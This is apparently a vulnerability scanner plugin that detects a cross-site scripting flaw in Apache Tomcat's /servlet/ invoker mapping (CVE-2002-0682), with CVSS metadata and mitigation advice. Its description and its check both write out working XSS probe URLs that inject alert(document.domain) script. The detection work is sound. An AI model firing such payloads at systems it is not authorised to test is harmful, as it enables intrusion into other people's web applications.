6.5 Medium
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.015 Low
EPSS
Percentile
86.6%
The remote Apache Tomcat web server is vulnerable to a cross site scripting
issue.
# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:tomcat";
# Also covers BugtraqID: 5194 (same Advisory ID#: wp-02-0008)
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11041");
script_version("2023-08-01T13:29:10+0000");
script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5193");
script_cve_id("CVE-2002-0682");
script_name("Apache Tomcat /servlet Cross Site Scripting");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2002 Matt Moore");
script_family("Web application abuses");
script_dependencies("gb_apache_tomcat_consolidation.nasl", "cross_site_scripting.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("apache/tomcat/http/detected");
script_tag(name:"summary", value:"The remote Apache Tomcat web server is vulnerable to a cross site scripting
issue.");
script_tag(name:"insight", value:"By using the /servlet/ mapping to invoke various servlets / classes it is
possible to cause Tomcat to throw an exception, allowing XSS attacks, e.g:
tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/SCRIPTalert(document.domain)/SCRIPT
tomcat-server/servlet/org.apache.catalina.ContainerServlet/SCRIPTalert(document.domain)/SCRIPT
tomcat-server/servlet/org.apache.catalina.Context/SCRIPTalert(document.domain)/SCRIPT
tomcat-server/servlet/org.apache.catalina.Globals/SCRIPTalert(document.domain)/SCRIPT
(angle brackets omitted)");
script_tag(name:"solution", value:"The 'invoker' servlet (mapped to /servlet/), which executes anonymous servlet
classes that have not been defined in a web.xml file should be unmapped.
The entry for this can be found in the /tomcat-install-dir/conf/web.xml file.");
script_tag(name:"solution_type", value:"Mitigation");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
host = http_host_name( dont_add_port:TRUE );
if( http_get_has_generic_xss( port:port, host:host ) ) exit( 0 );
url = "/servlet/org.apache.catalina.ContainerServlet/<SCRIPT>alert(document.domain)</SCRIPT>";
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
confirmed = string("<SCRIPT>alert(document.domain)</SCRIPT>");
confirmed_too = string("javax.servlet.ServletException");
if( ( confirmed >< res ) && ( confirmed_too >< res ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );